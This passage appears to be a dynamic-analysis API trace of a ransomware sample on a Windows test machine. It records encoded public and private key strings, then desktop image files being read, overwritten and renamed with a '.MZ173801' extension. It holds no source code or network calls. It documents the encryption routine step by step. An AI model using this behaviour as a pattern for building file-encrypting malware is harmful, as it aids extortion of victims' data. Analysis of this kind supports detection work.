lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0176.746] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0176.746] GetCurrentThreadId () returned 0xab4 [0176.746] GetCurrentThreadId () returned 0xab4 [0176.746] GetCurrentThreadId () returned 0xab4 [0176.746] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\vB8zsHUk.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\vb8zshuk.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0176.747] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0176.747] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.747] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x844c [0176.747] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.747] ReadFile (in: hFile=0x328, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x844c, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x844c, lpOverlapped=0x0) returned 1 [0176.748] CloseHandle (hObject=0x328) returned 1 [0176.749] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\vB8zsHUk.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\vb8zshuk.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0176.846] WriteFile (in: hFile=0x328, lpBuffer=0x24aa040*, nNumberOfBytesToWrite=0x844c, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24aa040*, lpNumberOfBytesWritten=0x19fa24*=0x844c, lpOverlapped=0x0) returned 1 [0176.848] CloseHandle (hObject=0x328) returned 1 [0176.848] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\vB8zsHUk.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\vb8zshuk.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\vB8zsHUk.bmp.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\vb8zshuk.bmp.mz173801")) returned 1 [0176.849] GetCurrentThreadId () returned 0xab4 [0176.849] GetCurrentThreadId () returned 0xab4 [0176.849] GetCurrentThreadId () returned 0xab4 [0176.850] GetCurrentThreadId () returned 0xab4 [0176.850] GetCurrentThreadId () returned 0xab4 [0176.850] GetCurrentThreadId () returned 0xab4 [0176.850] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e1fde0, ftCreationTime.dwHighDateTime=0x1d5e4b7, ftLastAccessTime.dwLowDateTime=0xa77d3460, ftLastAccessTime.dwHighDateTime=0x1d5e66a, ftLastWriteTime.dwLowDateTime=0xa77d3460, ftLastWriteTime.dwHighDateTime=0x1d5e66a, nFileSizeHigh=0x0, nFileSizeLow=0x4778, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="VLgSOuECDd_LaP.jpg", cAlternateFileName="VLGSOU~1.JPG")) returned 1 [0176.850] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.850] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.850] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\VLgSOuECDd_LaP.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\vlgsouecdd_lap.jpg"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e1fde0, ftCreationTime.dwHighDateTime=0x1d5e4b7, ftLastAccessTime.dwLowDateTime=0xa77d3460, ftLastAccessTime.dwHighDateTime=0x1d5e66a, ftLastWriteTime.dwLowDateTime=0xa77d3460, ftLastWriteTime.dwHighDateTime=0x1d5e66a, nFileSizeHigh=0x0, nFileSizeLow=0x4778)) returned 1 [0176.850] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\VLgSOuECDd_LaP.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\vlgsouecdd_lap.jpg")) returned 0x20 [0176.850] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\VLgSOuECDd_LaP.jpg", dwFileAttributes=0x80) returned 1 [0176.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0176.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0176.853] GetCurrentThreadId () returned 0xab4 [0176.853] GetCurrentThreadId () returned 0xab4 [0176.854] GetCurrentThreadId () returned 0xab4 [0176.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0176.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0176.854] GetCurrentThreadId () returned 0xab4 [0176.854] GetCurrentThreadId () returned 0xab4 [0176.854] GetCurrentThreadId () returned 0xab4 [0176.855] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\VLgSOuECDd_LaP.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\vlgsouecdd_lap.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0176.855] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0176.855] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.855] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x4778 [0176.855] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.855] ReadFile (in: hFile=0x328, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x4778, 